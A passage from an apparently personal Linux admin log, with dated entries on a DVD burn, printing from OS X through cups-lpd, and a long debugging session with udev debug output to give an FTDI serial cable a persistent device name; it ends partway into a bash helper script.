drive dependent defaults. Device type : Removable CD-ROM Version : 5 Response Format: 2 Capabilities : Vendor_info : 'ATAPI ' Identification : 'DVD A DH16AASH ' Revision : 'SA15' Device seems to be: Generic mmc2 DVD-R/DVD-RW. Using generic SCSI-3/mmc CD-R/CD-RW driver (mmc_cdr). Driver flags : MMC-3 SWABAUDIO BURNFREE FORCESPEED Supported modes: TAO PACKET SAO SAO/R96P SAO/R96R RAW/R16 RAW/R96P RAW/R96R Speed set to 2823 KB/s Starting to write CD/DVD at speed 16.0 in real TAO mode for single session. Last chance to quit, starting real write in 0 seconds. Operation starts. Track 01: Total bytes read/written: 157630464/157630464 (76968 sectors). tom@zoo:/pub$ Then the disk is not readable. Update: it works fine in another drive.. Entry: Trouble with CUPS Generic Postscript from OSX 10.6 Date: Sat Nov 27 14:26:40 EST 2010 Tried with ipp, but the printer would output raw ps code. Printer works fine locally and from other linux/cups. Solution: print using LPD from OSX. This required the following line in /etc/inetd.conf: printer stream tcp nowait lp /usr/lib/cups/daemon/cups-lpd cups-lpd Entry: Naming USB devices Date: Fri Dec 31 15:00:26 EST 2010 Problem: I have several USB devices that have an identity: hard drives, usb serial cables, USB sticks, ... How to map them to the right device name? For drives it's easy: in /etc/fstab just add the by-id name, like: /dev/disk/by-id/scsi-1Seagate_Portable_2GH3XQRH-part1 Now for tty usb devices. I just plugged in a FTDI TTL cable: [2049983.757824] usb 2-1.3: new full speed USB device using ehci_hcd and address 9 [2049983.857000] usb 2-1.3: New USB device found, idVendor=0403, idProduct=6001 [2049983.857003] usb 2-1.3: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [2049983.857006] usb 2-1.3: Product: TTL232R [2049983.857007] usb 2-1.3: Manufacturer: FTDI [2049983.857009] usb 2-1.3: SerialNumber: FTDCIX5Z [2049983.879508] usbcore: registered new interface driver usbserial [2049983.879520] USB Serial support registered for generic [2049983.879578] usbcore: registered new interface driver usbserial_generic [2049983.879580] usbserial: USB Serial Driver core [2049983.888013] USB Serial support registered for FTDI USB Serial Device [2049983.888095] ftdi_sio 2-1.3:1.0: FTDI USB Serial Device converter detected [2049983.888168] usb 2-1.3: Detected FT232RL [2049983.888170] usb 2-1.3: Number of endpoints 2 [2049983.888172] usb 2-1.3: Endpoint 1 MaxPacketSize 64 [2049983.888173] usb 2-1.3: Endpoint 2 MaxPacketSize 64 [2049983.888175] usb 2-1.3: Setting MaxPacketSize 64 [2049983.888935] usb 2-1.3: FTDI USB Serial Device converter now attached to ttyUSB0 [2049983.888947] usbcore: registered new interface driver ftdi_sio [2049983.888948] ftdi_sio: v1.5.0:USB FTDI Serial Converters Driver It connects to /dev/ttyUSB0. However, I want this to be something like /dev/ttyPIC0. How to? See [1] but replace "udevinfo" with "udevadm info" on Debian. # udevadm info -q path -n ttyUSB0 /class/tty/ttyUSB0 # udevadm info -a -p /class/tty/ttyUSB0 Udevadm info starts with the device specified by the devpath and then walks up the chain of parent devices. It prints for every device found, all possible attributes in the udev rules key format. A rule to match, can be composed by the attributes of the device and the attributes from one single parent device. looking at device '/class/tty/ttyUSB0': KERNEL=="ttyUSB0" SUBSYSTEM=="tty" DRIVER=="" looking at parent device '/class/tty': KERNELS=="tty" SUBSYSTEMS=="subsystem" DRIVERS=="" Starting from that, this should be what I need: BUS=="usb", SYSFS{idProduct}=="6001", SYSFS{idVendor}=="0403", SYSFS{serial}=="FTDCIX5Z", NAME="ftdi" But the "serial" doesn't match the "SerialNumber" tag. So let's try that. Nothing.. Going with this[2]. It takes a wholly different approach, using ATTRS instaed of SYSFS. Let's try again: SUBSYSTEM=="tty", ATTRS{idVendor}=="0403", ATTRS{idProduct}=="6001", ATTRS{serial}=="FTDCIX5Z", SYMLINK+="ftdi" Nothing. I'm shooting in the dark. - Do you need to restart udev when config files change? - Where are the udev defaults? (A: /lib/udev) - How to get debug information? - Who assigns the device to "dialout" ? - how does the override work? 00_* vs 99_* - different udev versions, ATTRS or SYSFS ? RTFM? The -a / --attribute-walk option prints all attribs. What I get (see above) doesn't really say much. Removing that I don't get a match either. It simply doesn't work as advertised. Debugger? [3] # udevadm monitor --env UDEV - the event which udev sends out after rule processing KERNEL - the kernel uevent KERNEL[1293833567.771646] add /devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2 (usb) UDEV_LOG=3 ACTION=add DEVPATH=/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2 SUBSYSTEM=usb DEVNAME=bus/usb/002/030 DEVTYPE=usb_device PHYSDEVBUS=usb DEVICE=/proc/bus/usb/002/030 PRODUCT=403/6001/600 TYPE=0/0/0 BUSNUM=002 DEVNUM=030 SEQNUM=1926 MAJOR=189 MINOR=157 KERNEL[1293833567.773003] add /devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2/2-1.2:1.0 (usb) UDEV_LOG=3 ACTION=add DEVPATH=/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2/2-1.2:1.0 SUBSYSTEM=usb DEVTYPE=usb_interface PHYSDEVBUS=usb DEVICE=/proc/bus/usb/002/030 PRODUCT=403/6001/600 TYPE=0/0/0 INTERFACE=255/255/255 MODALIAS=usb:v0403p6001d0600dc00dsc00dp00icFFiscFFipFF SEQNUM=1927 KERNEL[1293833567.773181] add /devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2/2-1.2:1.0/ttyUSB0 (usb-serial) UDEV_LOG=3 ACTION=add DEVPATH=/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2/2-1.2:1.0/ttyUSB0 SUBSYSTEM=usb-serial PHYSDEVBUS=usb-serial SEQNUM=1928 KERNEL[1293833567.773353] add /class/tty/ttyUSB0 (tty) UDEV_LOG=3 ACTION=add DEVPATH=/class/tty/ttyUSB0 SUBSYSTEM=tty DEVNAME=ttyUSB0 PHYSDEVPATH=/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2/2-1.2:1.0/ttyUSB0 PHYSDEVBUS=usb-serial PHYSDEVDRIVER=ftdi_sio SEQNUM=1929 MAJOR=188 MINOR=0 KERNEL[1293833567.773397] add /class/usb_device/usbdev2.30 (usb_device) UDEV_LOG=3 ACTION=add DEVPATH=/class/usb_device/usbdev2.30 SUBSYSTEM=usb_device DEVNAME=usbdev2.30 PHYSDEVPATH=/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2 PHYSDEVBUS=usb PHYSDEVDRIVER=usb SEQNUM=1930 MAJOR=189 MINOR=157 UDEV [1293833567.775358] add /class/tty/ttyUSB0 (tty) UDEV_LOG=3 ACTION=add DEVPATH=/class/tty/ttyUSB0 SUBSYSTEM=tty DEVNAME=/dev/ttyUSB0 PHYSDEVPATH=/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2/2-1.2:1.0/ttyUSB0 PHYSDEVBUS=usb-serial PHYSDEVDRIVER=ftdi_sio SEQNUM=1929 MAJOR=188 MINOR=0 DEVLINKS=/dev/char/188:0 UDEV [1293833567.778071] add /devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2 (usb) UDEV_LOG=3 ACTION=add DEVPATH=/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2 SUBSYSTEM=usb DEVNAME=/dev/bus/usb/002/030 DEVTYPE=usb_device PHYSDEVBUS=usb DEVICE=/proc/bus/usb/002/030 PRODUCT=403/6001/600 TYPE=0/0/0 BUSNUM=002 DEVNUM=030 SEQNUM=1926 ID_VENDOR=FTDI ID_VENDOR_ENC=FTDI ID_VENDOR_ID=0403 ID_MODEL=TTL232R ID_MODEL_ENC=TTL232R ID_MODEL_ID=6001 ID_REVISION=0600 ID_SERIAL=FTDI_TTL232R_FTDCIX5Z ID_SERIAL_SHORT=FTDCIX5Z ID_BUS=usb ID_USB_INTERFACES=:ffffff: MAJOR=189 MINOR=157 DEVLINKS=/dev/char/189:157 UDEV [1293833567.780128] add /devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2/2-1.2:1.0 (usb) UDEV_LOG=3 ACTION=add DEVPATH=/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2/2-1.2:1.0 SUBSYSTEM=usb DEVTYPE=usb_interface PHYSDEVBUS=usb DEVICE=/proc/bus/usb/002/030 PRODUCT=403/6001/600 TYPE=0/0/0 INTERFACE=255/255/255 MODALIAS=usb:v0403p6001d0600dc00dsc00dp00icFFiscFFipFF SEQNUM=1927 UDEV [1293833567.781816] add /devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2/2-1.2:1.0/ttyUSB0 (usb-serial) UDEV_LOG=3 ACTION=add DEVPATH=/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2/2-1.2:1.0/ttyUSB0 SUBSYSTEM=usb-serial PHYSDEVBUS=usb-serial SEQNUM=1928 UDEV [1293833567.782010] add /class/usb_device/usbdev2.30 (usb_device) UDEV_LOG=3 ACTION=add DEVPATH=/class/usb_device/usbdev2.30 SUBSYSTEM=usb_device DEVNAME=/dev/usbdev2.30 PHYSDEVPATH=/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2 PHYSDEVBUS=usb PHYSDEVDRIVER=usb SEQNUM=1930 MAJOR=189 MINOR=157 DEVLINKS=/dev/char/189:157 The add call has the ENV variable: ID_SERIAL_SHORT=FTDCIX5Z So it's definitely available. Why don't my rules match? Next: kill udevd and run # udevd --debug What do we learn from this? - it seems to parse the files on startup, so it looks like restart (or HUP?) is necessary to reload the config. - SYSFS{}= will be removed in a future udev version, please use ATTR{}= to match the event device, or ATTRS{}= to match a parent device - it doesn't seem to read the rules file in the first place. Problem was extension is not ".rules" - Got it to match with: SUBSYSTEM=="tty", SYMLINK+="foofoo" But not with: ENV{ID_SERIAL}=="FTDI_TTL232R_FTDCIX5Z" - The program /lib/udev/usb_id is used to set the environment variables, but apparently it doesn't do so for the rules I'm adding. Trying to add something like this gives errors: IMPORT{program}="usb_id --export %p", [1] http://www.cl.cam.ac.uk/research/dtg/research/wiki/Udev [2] http://hintshop.ludvig.co.nz/show/persistent-names-usb-serial-devices/ [3] http://www.disa.nu/pub/doc/sles10/usr/share/doc/manual/sles-admin_en/sec.udev.debug.html Entry: udev woes Date: Fri Dec 31 18:31:32 EST 2010 udev is a pain, or is just how it works on Debian? Maybe I just don't understand and this is just a case of not RTFM. Conceptually it's simple: there are events and rules, and when a rule matches an event then it is applied. However, one physical USB plug-in action triggers a multitude of events. And it seems the environment variables that are generated by the /lib/udev/usb_id program are not available on each trigger. Frankly I don't care about the complexity under the hood, I just want to solve this: PROBLEM: associate a specific name or symlink to a specific FTDI usb serial cable. After several tries (see previous post) I finally found something that works: just run the /lib/udev/usb_id program explicitly and match on an environment variable. This is what I have in 99-tty.rules: IMPORT{program}="usb_id --export %p", ENV{ID_SERIAL}=="FTDI_TTL232R_FTDCIX5Z", SYMLINK+="ftdi" Apparently this is still not correct. What this does is to give an alias to the raw USB device. What you want is a driver to handle this, and link the device the driver presents. At the time the event for this serial device is executed, the ID is gone! So, let's see what really happens. It seems that not knowing how the whole thing works is not an option.. See the output of "udevd --debug" below as a response to plugging in the FTDI cable. 1293839146.211444 [14300] event_queue_insert: seq 2176 queued, 'add' 'usb' 1293839146.211471 [14300] udev_monitor_send_device: passed 305 bytes to netlink monitor 0x7f6e3fa9f770 1293839146.211518 [14302] worker_new: seq 2176 running 1293839146.211587 [14302] udev_device_new_from_syspath: device 0x7f6e3faaf490 has devpath '/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2' 1293839146.211648 [14302] udev_device_new_from_syspath: device 0x7f6e3faaf840 has devpath '/devices/pci0000:00/0000:00:13.2/usb2/2-1' 1293839146.211673 [14302] udev_device_new_from_syspath: device 0x7f6e3faafb50 has devpath '/devices/pci0000:00/0000:00:13.2/usb2' 1293839146.211703 [14302] udev_device_new_from_syspath: device 0x7f6e3faafe20 has devpath '/devices/pci0000:00/0000:00:13.2' 1293839146.211719 [14302] udev_device_new_from_syspath: device 0x7f6e3fab00f0 has devpath '/devices/pci0000:00' 1293839146.212018 [14302] udev_rules_apply_to_event: PROGRAM 'check-ptp-camera 06/01/01' /etc/udev/rules.d/025_libgphoto2.rules:967 1293839146.212026 [14302] util_run_program: 'check-ptp-camera 06/01/01' started 1293839146.212874 [14300] event_queue_insert: seq 2177 queued, 'add' 'usb' 1293839146.212897 [14300] event_queue_insert: seq 2178 queued, 'add' 'usb-serial' 1293839146.213105 [14300] event_queue_insert: seq 2179 queued, 'add' 'tty' 1293839146.213221 [14300] udev_monitor_send_device: passed 272 bytes to netlink monitor 0x7f6e3fa9f770 1293839146.213245 [14300] event_queue_insert: seq 2180 queued, 'add' 'usb_device' 1293839146.213255 [14303] worker_new: seq 2179 running 1293839146.213286 [14303] udev_device_new_from_syspath: device 0x7f6e3faae1f0 has devpath '/class/tty/ttyUSB0' 1293839146.213323 [14303] udev_device_new_from_syspath: device 0x7f6e3fab04a0 has devpath '/class/tty' 1293839146.213341 [14303] udev_rules_apply_to_event: LINK 'char/188:0' /lib/udev/rules.d/50-udev-default.rules:2 1293839146.213373 [14303] udev_rules_apply_to_event: IMPORT 'path_id /class/tty/ttyUSB0' /lib/udev/rules.d/60-persistent-serial.rules:9 1293839146.213387 [14303] util_run_program: 'path_id /class/tty/ttyUSB0' started 1293839146.214708 [14303] util_run_program: 'path_id /class/tty/ttyUSB0' returned with exitcode 1 1293839146.214723 [14303] udev_rules_apply_to_event: IMPORT 'usb_id --export /class/tty/ttyUSB0' /lib/udev/rules.d/60-persistent-serial.rules:13 1293839146.214730 [14303] util_run_program: 'usb_id --export /class/tty/ttyUSB0' started 1293839146.215547 [14303] util_run_program: 'usb_id --export /class/tty/ttyUSB0' returned with exitcode 1 1293839146.215588 [14303] udev_rules_apply_to_event: RUN 'socket:@/org/freedesktop/hal/udev_event' /lib/udev/rules.d/90-hal.rules:2 1293839146.215602 [14303] udev_rules_apply_to_event: GROUP 20 /lib/udev/rules.d/91-permissions.rules:39 1293839146.215614 [14303] udev_event_execute_rules: no node name set, will use kernel supplied name 'ttyUSB0' 1293839146.215644 [14303] udev_device_update_db: created db link (ttyUSB0 char/188:0) 1293839146.215653 [14303] udev_node_add: creating device node '/dev/ttyUSB0', devnum=188:0, mode=0660, uid=0, gid=20 1293839146.215673 [14302] util_run_program: 'check-ptp-camera 06/01/01' returned with exitcode 1 1293839146.215679 [14303] udev_node_mknod: mknod '/dev/ttyUSB0' 188:0 020660 1293839146.215697 [14303] udev_node_mknod: set permissions '/dev/ttyUSB0' 020660 uid=0 gid=20 1293839146.215697 [14302] udev_rules_apply_to_event: LINK 'char/189:184' /lib/udev/rules.d/50-udev-default.rules:2 1293839146.215715 [14303] node_symlink: creating symlink '/dev/char/188:0' to '../ttyUSB0' 1293839146.215737 [14302] wait_for_file: file '/sys/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2/descriptors' appeared after 0 loops 1293839146.215745 [14303] udev_monitor_send_device: passed 285 bytes to socket monitor 0x7f6e3faae1f0 1293839146.215755 [14302] udev_rules_apply_to_event: NAME 'bus/usb/002/057' /lib/udev/rules.d/50-udev-default.rules:29 1293839146.215807 [14303] udev_monitor_send_device: passed -1 bytes to netlink monitor 0x7f6e3fab0310 1293839146.215818 [14303] worker_new: seq 2179 processed with 0 1293839146.215842 [14300] event_queue_delete: seq 2179 done with 0 1293839146.215957 [14302] udev_rules_apply_to_event: IMPORT 'usb_id --export /devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2' /lib/udev/rules.d/70-acl.rules:10 1293839146.215968 [14302] util_run_program: 'usb_id --export /devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2' started 1293839146.216754 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_VENDOR=FTDI' 1293839146.216762 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_VENDOR_ENC=FTDI' 1293839146.216766 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_VENDOR_ID=0403' 1293839146.216769 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_MODEL=TTL232R' 1293839146.216773 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_MODEL_ENC=TTL232R' 1293839146.216776 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_MODEL_ID=6001' 1293839146.216780 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_REVISION=0600' 1293839146.216783 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_SERIAL=FTDI_TTL232R_FTDCIX5Z' 1293839146.216787 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_SERIAL_SHORT=FTDCIX5Z' 1293839146.216790 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_BUS=usb' 1293839146.216793 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_USB_INTERFACES=:ffffff:' 1293839146.216812 [14302] util_run_program: 'usb_id --export /devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2' returned with exitcode 0 1293839146.216866 [14302] udev_rules_apply_to_event: RUN 'socket:@/org/freedesktop/hal/udev_event' /lib/udev/rules.d/90-hal.rules:2 1293839146.216876 [14302] udev_rules_apply_to_event: MODE 0664 /lib/udev/rules.d/91-permissions.rules:36 1293839146.216884 [14302] udev_rules_apply_to_event: IMPORT 'usb_id --export /devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2' /etc/udev/rules.d/99-tty.rules:2 1293839146.216892 [14302] util_run_program: 'usb_id --export /devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2' started 1293839146.217603 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_VENDOR=FTDI' 1293839146.217614 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_VENDOR_ENC=FTDI' 1293839146.217623 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_VENDOR_ID=0403' 1293839146.217627 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_MODEL=TTL232R' 1293839146.217631 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_MODEL_ENC=TTL232R' 1293839146.217634 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_MODEL_ID=6001' 1293839146.217638 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_REVISION=0600' 1293839146.217641 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_SERIAL=FTDI_TTL232R_FTDCIX5Z' 1293839146.217644 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_SERIAL_SHORT=FTDCIX5Z' 1293839146.217648 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_BUS=usb' 1293839146.217652 [14302] util_run_program: '/lib/udev/usb_id' (stdout) 'ID_USB_INTERFACES=:ffffff:' 1293839146.217683 [14302] util_run_program: 'usb_id --export /devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2' returned with exitcode 0 1293839146.217700 [14302] udev_rules_apply_to_event: LINK 'pic0' /etc/udev/rules.d/99-tty.rules:2 1293839146.217773 [14302] udev_device_update_db: created db file for '/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2' in '/dev/.udev/db/usb:2-1.2' 1293839146.217788 [14302] udev_node_add: creating device node '/dev/bus/usb/002/057', devnum=189:184, mode=0664, uid=0, gid=0 1293839146.217798 [14302] udev_node_mknod: mknod '/dev/bus/usb/002/057' 189:184 020664 1293839146.217810 [14302] udev_node_mknod: set permissions '/dev/bus/usb/002/057' 020664 uid=0 gid=0 1293839146.217828 [14302] node_symlink: creating symlink '/dev/char/189:184' to '../bus/usb/002/057' 1293839146.217849 [14302] link_update: creating link '/dev/pic0' to '/dev/bus/usb/002/057' 1293839146.217861 [14302] node_symlink: creating symlink '/dev/pic0' to 'bus/usb/002/057' 1293839146.217906 [14302] udev_monitor_send_device: passed 578 bytes to socket monitor 0x7f6e3faaf490 1293839146.217927 [14302] udev_monitor_send_device: passed -1 bytes to netlink monitor 0x7f6e3faaf1b0 1293839146.217939 [14302] worker_new: seq 2176 processed with 0 1293839146.217962 [14300] event_queue_delete: seq 2176 done with 0 1293839146.217984 [14300] udev_monitor_send_device: passed 329 bytes to netlink monitor 0x7f6e3fa9f770 1293839146.218050 [14300] udev_monitor_send_device: passed 264 bytes to netlink monitor 0x7f6e3fa9f770 1293839146.218073 [14303] worker_new: seq 2180 running 1293839146.218077 [14302] worker_new: seq 2177 running 1293839146.218136 [14303] udev_device_new_from_syspath: device 0x7f6e3faafb60 has devpath '/class/usb_device/usbdev2.57' 1293839146.218184 [14302] udev_device_new_from_syspath: device 0x7f6e3faafb50 has devpath '/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2/2-1.2:1.0' 1293839146.218237 [14303] udev_device_new_from_syspath: device 0x7f6e3faae1f0 has devpath '/class/usb_device' 1293839146.218280 [14302] udev_device_new_from_syspath: device 0x7f6e3faaf840 has devpath '/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2' 1293839146.218321 [14302] udev_device_new_from_syspath: device 0x7f6e3faaec50 has devpath '/devices/pci0000:00/0000:00:13.2/usb2/2-1' 1293839146.218340 [14302] udev_device_new_from_syspath: device 0x7f6e3faaf490 has devpath '/devices/pci0000:00/0000:00:13.2/usb2' 1293839146.218353 [14303] udev_rules_apply_to_event: PROGRAM 'check-ptp-camera 06/01/01' /etc/udev/rules.d/025_libgphoto2.rules:967 1293839146.218361 [14302] udev_device_new_from_syspath: device 0x7f6e3faaf5a0 has devpath '/devices/pci0000:00/0000:00:13.2' 1293839146.218364 [14303] util_run_program: 'check-ptp-camera 06/01/01' started 1293839146.218520 [14302] udev_device_new_from_syspath: device 0x7f6e3faaf6b0 has devpath '/devices/pci0000:00' 1293839146.218560 [14302] udev_rules_apply_to_event: RUN '/sbin/modprobe -b $env{MODALIAS}' /lib/udev/rules.d/80-drivers.rules:7 1293839146.218572 [14302] udev_rules_apply_to_event: RUN 'socket:@/org/freedesktop/hal/udev_event' /lib/udev/rules.d/90-hal.rules:2 1293839146.218586 [14302] util_run_program: '/sbin/modprobe -b usb:v0403p6001d0600dc00dsc00dp00icFFiscFFipFF' started 1293839146.219875 [14302] util_run_program: '/sbin/modprobe -b usb:v0403p6001d0600dc00dsc00dp00icFFiscFFipFF' returned with exitcode 0 1293839146.219906 [14302] udev_monitor_send_device: passed 351 bytes to socket monitor 0x7f6e3faa0a30 1293839146.219924 [14302] udev_monitor_send_device: passed -1 bytes to netlink monitor 0x7f6e3faaf1b0 1293839146.219933 [14302] worker_new: seq 2177 processed with 0 1293839146.219949 [14300] event_queue_delete: seq 2177 done with 0 1293839146.220014 [14300] udev_monitor_send_device: passed 191 bytes to netlink monitor 0x7f6e3fa9f770 1293839146.220028 [14302] worker_new: seq 2178 running 1293839146.220093 [14302] udev_device_new_from_syspath: device 0x7f6e3faaf840 has devpath '/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2/2-1.2:1.0/ttyUSB0' 1293839146.220141 [14302] udev_device_new_from_syspath: device 0x7f6e3faafe70 has devpath '/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2/2-1.2:1.0' 1293839146.220162 [14302] udev_device_new_from_syspath: device 0x7f6e3faafb50 has devpath '/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2' 1293839146.220223 [14302] udev_device_new_from_syspath: device 0x7f6e3faafc60 has devpath '/devices/pci0000:00/0000:00:13.2/usb2/2-1' 1293839146.220266 [14302] udev_device_new_from_syspath: device 0x7f6e3faaf490 has devpath '/devices/pci0000:00/0000:00:13.2/usb2' 1293839146.220283 [14302] udev_device_new_from_syspath: device 0x7f6e3faaf5a0 has devpath '/devices/pci0000:00/0000:00:13.2' 1293839146.220461 [14302] udev_device_new_from_syspath: device 0x7f6e3faaf6b0 has devpath '/devices/pci0000:00' 1293839146.220479 [14302] udev_rules_apply_to_event: RUN 'socket:@/org/freedesktop/hal/udev_event' /lib/udev/rules.d/90-hal.rules:2 1293839146.220499 [14302] udev_monitor_send_device: passed 221 bytes to socket monitor 0x7f6e3faaf840 1293839146.220557 [14302] udev_monitor_send_device: passed -1 bytes to netlink monitor 0x7f6e3faaf1b0 1293839146.220566 [14302] worker_new: seq 2178 processed with 0 1293839146.220577 [14300] event_queue_delete: seq 2178 done with 0 1293839146.221144 [14303] util_run_program: 'check-ptp-camera 06/01/01' returned with exitcode 1 1293839146.221160 [14303] udev_rules_apply_to_event: LINK 'char/189:184' /lib/udev/rules.d/50-udev-default.rules:2 1293839146.221249 [14303] udev_rules_apply_to_event: RUN 'socket:@/org/freedesktop/hal/udev_event' /lib/udev/rules.d/90-hal.rules:2 1293839146.221261 [14303] udev_event_execute_rules: no node name set, will use kernel supplied name 'usbdev2.57' 1293839146.221282 [14303] udev_device_update_db: created db link (usbdev2.57 char/189:184) 1293839146.221288 [14303] udev_node_add: creating device node '/dev/usbdev2.57', devnum=189:184, mode=0600, uid=0, gid=0 1293839146.221295 [14303] udev_node_mknod: mknod '/dev/usbdev2.57' 189:184 020600 1293839146.221304 [14303] udev_node_mknod: set permissions '/dev/usbdev2.57' 020600 uid=0 gid=0 1293839146.221317 [14303] node_symlink: atomically replace '/dev/char/189:184' 1293839146.221343 [14303] udev_monitor_send_device: passed 289 bytes to socket monitor 0x7f6e3faafb60 1293839146.221401 [14303] udev_monitor_send_device: passed -1 bytes to netlink monitor 0x7f6e3fab0310 1293839146.221410 [14303] worker_new: seq 2180 processed with 0 1293839146.221418 [14300] event_queue_delete: seq 2180 done with 0 I can't find a way to do that. Don't want to read tons of manuals and get nowhere.. So, how to hack around this? This is what works, but it's the wrong device. zoo:~# /lib/udev/usb_id --export /devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2 ID_VENDOR=FTDI ID_VENDOR_ENC=FTDI ID_VENDOR_ID=0403 ID_MODEL=TTL232R ID_MODEL_ENC=TTL232R ID_MODEL_ID=6001 ID_REVISION=0600 ID_SERIAL=FTDI_TTL232R_FTDCIX5Z ID_SERIAL_SHORT=FTDCIX5Z ID_BUS=usb ID_USB_INTERFACES=:ffffff: However, when you do this: zoo:/sys/class/tty/ttyUSB0/device# pwd -P /sys/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2/2-1.2:1.0/ttyUSB0 You get almost what's necessary to pass to usb_id. In the correct directory, you get: zoo:/sys/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2# echo `pwd|sed s/\\\\/sys//` /devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2 So also: zoo:/sys/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2# /lib/udev/usb_id --export `pwd|sed s/\\\\/sys//` The full magic then goes like this[1] However, that doesn't seem to work as expected. The script doesn't get called for the /class/tty/ttyUSB device. Hmm.. I don't understand. Back to the original question: - why do these environment variables get lost from usb -> usbserial? - why is tha ATTR(serial) not working? - why doesn't "udevadm info -a" show attribs? - what's with the DB? zoo:/dev/.udev/db# udevadm info --query=all -p /class/tty/ttyUSB0 P: /class/tty/ttyUSB0 N: ttyUSB0 S: char/188:0 E: UDEV_LOG=3 E: DEVPATH=/class/tty/ttyUSB0 E: MAJOR=188 E: MINOR=0 E: DEVNAME=/dev/ttyUSB0 E: PHYSDEVPATH=/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2/2-1.2:1.0/ttyUSB0 E: PHYSDEVBUS=usb-serial E: PHYSDEVDRIVER=ftdi_sio E: SUBSYSTEM=tty E: DEVLINKS=/dev/char/188:0 zoo:/dev/.udev/db# udevadm info --query=all -p /devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2 P: /devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2 N: bus/usb/002/067 S: char/189:194 E: UDEV_LOG=3 E: DEVPATH=/devices/pci0000:00/0000:00:13.2/usb2/2-1/2-1.2 E: MAJOR=189 E: MINOR=194 E: DEVNAME=/dev/bus/usb/002/067 E: DEVTYPE=usb_device E: DRIVER=usb E: PHYSDEVBUS=usb E: PHYSDEVDRIVER=usb E: DEVICE=/proc/bus/usb/002/067 E: PRODUCT=403/6001/600 E: TYPE=0/0/0 E: BUSNUM=002 E: DEVNUM=067 E: SUBSYSTEM=usb E: ID_VENDOR=FTDI E: ID_VENDOR_ENC=FTDI E: ID_VENDOR_ID=0403 E: ID_MODEL=TTL232R E: ID_MODEL_ENC=TTL232R E: ID_MODEL_ID=6001 E: ID_REVISION=0600 E: ID_SERIAL=FTDI_TTL232R_FTDCIX5Z E: ID_SERIAL_SHORT=FTDCIX5Z E: ID_BUS=usb E: ID_USB_INTERFACES=:ffffff: E: DEVLINKS=/dev/char/189:194 Pfff.. Tried some more. The hack in [1] doen't work. [1] http://zwizwa.be/darcs/pool/bin/ttyUSB_id Entry: udev ttyUSB hack Date: Fri Dec 31 23:09:04 EST 2010 Ok, I got it working. Problem: somehow (on Debian?) the ID_SERIAL environment variable that's available on the raw device doesn't get set for the /class/tty/ttyUSB0 device that needs the symlink. The following script will take a ttyUSB device path and traverse the /sys tree to get at the serial number. The rule: KERNEL=="ttyUSB*", PROGRAM="ttyUSB_id %p", SYMLINK+="tty-%c" EDIT: changes see [2]. Original script was: ---------------------------------------------------------------------------- #!/bin/bash # This script is a helper for the following udev rule: # # KERNEL=="ttyUSB*", PROGRAM="ttyUSB_id %p", SYMLINK+="tty-%c" # # It obtains the serial number associated to the raw USB device, which # is not available from the ttyUSB device. ( Original behaviour might # be a bug, I don't know much about udev. ) # The device name is as it is passed to udev. [ -z "$1" ] \ && echo -e "usage: $0 <device-name>\nexample: $0 /class/tty/ttyUSB0" \ && exit 1 TTYDEV=$1 DIR1=/sys/$TTYDEV/device DIR2=/sys/class/tty/$TTYDEV/device if [ -x $DIR1 